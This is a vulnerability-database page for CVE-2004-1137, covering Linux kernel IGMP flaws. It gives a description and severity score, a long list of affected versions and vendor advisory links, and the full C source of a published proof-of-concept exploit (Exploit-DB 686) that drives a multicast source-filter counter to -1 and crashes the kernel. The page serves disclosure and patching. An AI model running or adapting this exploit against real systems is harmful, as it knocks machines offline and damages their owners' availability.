CVE-2004-1137 : Detail

CVE-2004-1137

15.82%V4
Network
2004-12-15
04h00 +00:00
2017-10-09
22h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Multiple vulnerabilities in the IGMP functionality for Linux kernel 2.4.22 to 2.4.28, and 2.6.x to 2.6.9, allow local and remote attackers to cause a denial of service or execute arbitrary code via (1) the ip_mc_source function, which decrements a counter to -1, or (2) the igmp_marksources function, which does not properly validate IGMP message parameters and performs an out-of-bounds read.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 686

Publication date : 2004-12-13 23h00 +00:00
Author : Paul Starzetz
EDB Verified : Yes

/* * Linux igmp.c local DoS * Warning: this code will crash your machine! * * gcc -O2 mreqfck.c -o mreqfck * * Copyright (c) 2004 iSEC Security Research. All Rights Reserved. * * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS" * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED. * */ #include <stdio.h> #include <unistd.h> #include <errno.h> #include <sys/socket.h> #include <netinet/in.h> #include <linux/types.h> #define MCAST_INCLUDE 1 #define IP_MSFILTER 41 #define IP_UNBLOCK_SOURCE 37 #define IP_BLOCK_SOURCE 38 struct ip_msfilter { __u32 imsf_multiaddr; __u32 imsf_interface; __u32 imsf_fmode; __u32 imsf_numsrc; __u32 imsf_slist[1]; }; struct ip_mreq_source { __u32 imr_multiaddr; __u32 imr_interface; __u32 imr_sourceaddr; }; void fatal (const char *message) { printf ("\n"); if (!errno) { fprintf (stdout, "FATAL: %s\n", message); } else { fprintf (stdout, "FATAL: %s (%s) ", message, (char *) (strerror (errno))); } printf ("\n"); fflush (stdout); exit (1); } int main () { int s, r, l; struct ip_mreqn mr; struct ip_msfilter msf; struct ip_mreq_source ms; in_addr_t a1, a2; s = socket (AF_INET, SOCK_DGRAM, 0); if (s < 0) fatal ("socket"); // first join mcast group memset (&mr, 0, sizeof (mr)); mr.imr_multiaddr.s_addr = inet_addr ("224.0.0.199"); l = sizeof (mr); r = setsockopt (s, SOL_IP, IP_ADD_MEMBERSHIP, &mr, l); if (r < 0) fatal ("setsockopt"); // add source filter count=1 memset (&ms, 0, sizeof (ms)); ms.imr_multiaddr = inet_addr ("224.0.0.199"); ms.imr_sourceaddr = inet_addr ("4.5.6.7"); l = sizeof (ms); r = setsockopt (s, SOL_IP, IP_BLOCK_SOURCE, &ms, l); if (r < 0) fatal ("setsockopt2"); // del source filter count = 0 // imr_multiaddr & imr_interface must correspond to ADD memset (&ms, 0, sizeof (ms)); ms.imr_multiaddr = inet_addr ("224.0.0.199"); ms.imr_sourceaddr = inet_addr ("4.5.6.7"); l = sizeof (ms); r = setsockopt (s, SOL_IP, IP_UNBLOCK_SOURCE, &ms, l); if (r < 0) fatal ("setsockopt2"); // del again, count = -1 memset (&ms, 0, sizeof (ms)); ms.imr_multiaddr = inet_addr ("224.0.0.199"); ms.imr_sourceaddr = inet_addr ("4.5.6.7"); l = sizeof (ms); r = setsockopt (s, SOL_IP, IP_UNBLOCK_SOURCE, &ms, l); if (r < 0) fatal ("setsockopt3"); // crash memset (&ms, 0, sizeof (ms)); ms.imr_multiaddr = inet_addr ("224.0.0.199"); ms.imr_sourceaddr = inet_addr ("4.5.6.7"); l = sizeof (ms); r = setsockopt (s, SOL_IP, IP_UNBLOCK_SOURCE, &ms, l); if (r < 0) fatal ("setsockopt4"); getchar (); return 0; } // milw0rm.com [2004-12-14]

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version 2.4.0

Linux>>Linux_kernel >> Version 2.4.0

Linux>>Linux_kernel >> Version 2.4.0

Linux>>Linux_kernel >> Version 2.4.0

Linux>>Linux_kernel >> Version 2.4.0

Linux>>Linux_kernel >> Version 2.4.0

Linux>>Linux_kernel >> Version 2.4.0

Linux>>Linux_kernel >> Version 2.4.0

Linux>>Linux_kernel >> Version 2.4.0

Linux>>Linux_kernel >> Version 2.4.0

Linux>>Linux_kernel >> Version 2.4.0

Linux>>Linux_kernel >> Version 2.4.0

Linux>>Linux_kernel >> Version 2.4.0

Linux>>Linux_kernel >> Version 2.4.1

Linux>>Linux_kernel >> Version 2.4.2

Linux>>Linux_kernel >> Version 2.4.3

Linux>>Linux_kernel >> Version 2.4.4

Linux>>Linux_kernel >> Version 2.4.5

Linux>>Linux_kernel >> Version 2.4.6

Linux>>Linux_kernel >> Version 2.4.7

Linux>>Linux_kernel >> Version 2.4.8

Linux>>Linux_kernel >> Version 2.4.9

Linux>>Linux_kernel >> Version 2.4.10

Linux>>Linux_kernel >> Version 2.4.11

Linux>>Linux_kernel >> Version 2.4.12

Linux>>Linux_kernel >> Version 2.4.13

Linux>>Linux_kernel >> Version 2.4.14

Linux>>Linux_kernel >> Version 2.4.15

Linux>>Linux_kernel >> Version 2.4.16

Linux>>Linux_kernel >> Version 2.4.17

Linux>>Linux_kernel >> Version 2.4.18

Linux>>Linux_kernel >> Version 2.4.18

    Linux>>Linux_kernel >> Version 2.4.18

    Linux>>Linux_kernel >> Version 2.4.18

    Linux>>Linux_kernel >> Version 2.4.18

    Linux>>Linux_kernel >> Version 2.4.18

    Linux>>Linux_kernel >> Version 2.4.18

    Linux>>Linux_kernel >> Version 2.4.18

    Linux>>Linux_kernel >> Version 2.4.18

    Linux>>Linux_kernel >> Version 2.4.18

    Linux>>Linux_kernel >> Version 2.4.19

    Linux>>Linux_kernel >> Version 2.4.19

    Linux>>Linux_kernel >> Version 2.4.19

    Linux>>Linux_kernel >> Version 2.4.19

    Linux>>Linux_kernel >> Version 2.4.19

    Linux>>Linux_kernel >> Version 2.4.19

    Linux>>Linux_kernel >> Version 2.4.19

    Linux>>Linux_kernel >> Version 2.4.20

    Linux>>Linux_kernel >> Version 2.4.21

    Linux>>Linux_kernel >> Version 2.4.21

    Linux>>Linux_kernel >> Version 2.4.21

    Linux>>Linux_kernel >> Version 2.4.21

    Linux>>Linux_kernel >> Version 2.4.22

    Linux>>Linux_kernel >> Version 2.4.23

    Linux>>Linux_kernel >> Version 2.4.23

    Linux>>Linux_kernel >> Version 2.4.23_ow2

      Linux>>Linux_kernel >> Version 2.4.24

      Linux>>Linux_kernel >> Version 2.4.24_ow1

        Linux>>Linux_kernel >> Version 2.4.25

        Linux>>Linux_kernel >> Version 2.4.26

        Linux>>Linux_kernel >> Version 2.4.27

        Linux>>Linux_kernel >> Version 2.4.27

        Linux>>Linux_kernel >> Version 2.4.27

        Linux>>Linux_kernel >> Version 2.4.27

        Linux>>Linux_kernel >> Version 2.4.27

        Linux>>Linux_kernel >> Version 2.4.27

        Linux>>Linux_kernel >> Version 2.4.28

        Linux>>Linux_kernel >> Version 2.6.0

        Linux>>Linux_kernel >> Version 2.6.0

        Linux>>Linux_kernel >> Version 2.6.0

        Linux>>Linux_kernel >> Version 2.6.0

        Linux>>Linux_kernel >> Version 2.6.0

        Linux>>Linux_kernel >> Version 2.6.0

        Linux>>Linux_kernel >> Version 2.6.0

        Linux>>Linux_kernel >> Version 2.6.0

        Linux>>Linux_kernel >> Version 2.6.0

        Linux>>Linux_kernel >> Version 2.6.0

        Linux>>Linux_kernel >> Version 2.6.0

        Linux>>Linux_kernel >> Version 2.6.0

        Linux>>Linux_kernel >> Version 2.6.1

        Linux>>Linux_kernel >> Version 2.6.1

        Linux>>Linux_kernel >> Version 2.6.1

        Linux>>Linux_kernel >> Version 2.6.2

        Linux>>Linux_kernel >> Version 2.6.3

        Linux>>Linux_kernel >> Version 2.6.4

        Linux>>Linux_kernel >> Version 2.6.5

        Linux>>Linux_kernel >> Version 2.6.6

        Linux>>Linux_kernel >> Version 2.6.6

        Linux>>Linux_kernel >> Version 2.6.7

        Linux>>Linux_kernel >> Version 2.6.7

        Linux>>Linux_kernel >> Version 2.6.8

        Linux>>Linux_kernel >> Version 2.6.8

        Linux>>Linux_kernel >> Version 2.6.8

        Linux>>Linux_kernel >> Version 2.6.8

        Linux>>Linux_kernel >> Version 2.6.9

          Linux>>Linux_kernel >> Version 2.6_test9_cvs

            Ubuntu>>Ubuntu_linux >> Version 4.1

              Ubuntu>>Ubuntu_linux >> Version 4.1

                References

                http://www.mandriva.com/security/advisories?name=MDKSA-2005:022
                Tags : vendor-advisory, x_refsource_MANDRAKE
                http://marc.info/?l=bugtraq&m=110306397320336&w=2
                Tags : mailing-list, x_refsource_BUGTRAQ
                https://bugzilla.fedora.us/show_bug.cgi?id=2336
                Tags : vendor-advisory, x_refsource_FEDORA
                http://www.redhat.com/support/errata/RHSA-2005-092.html
                Tags : vendor-advisory, x_refsource_REDHAT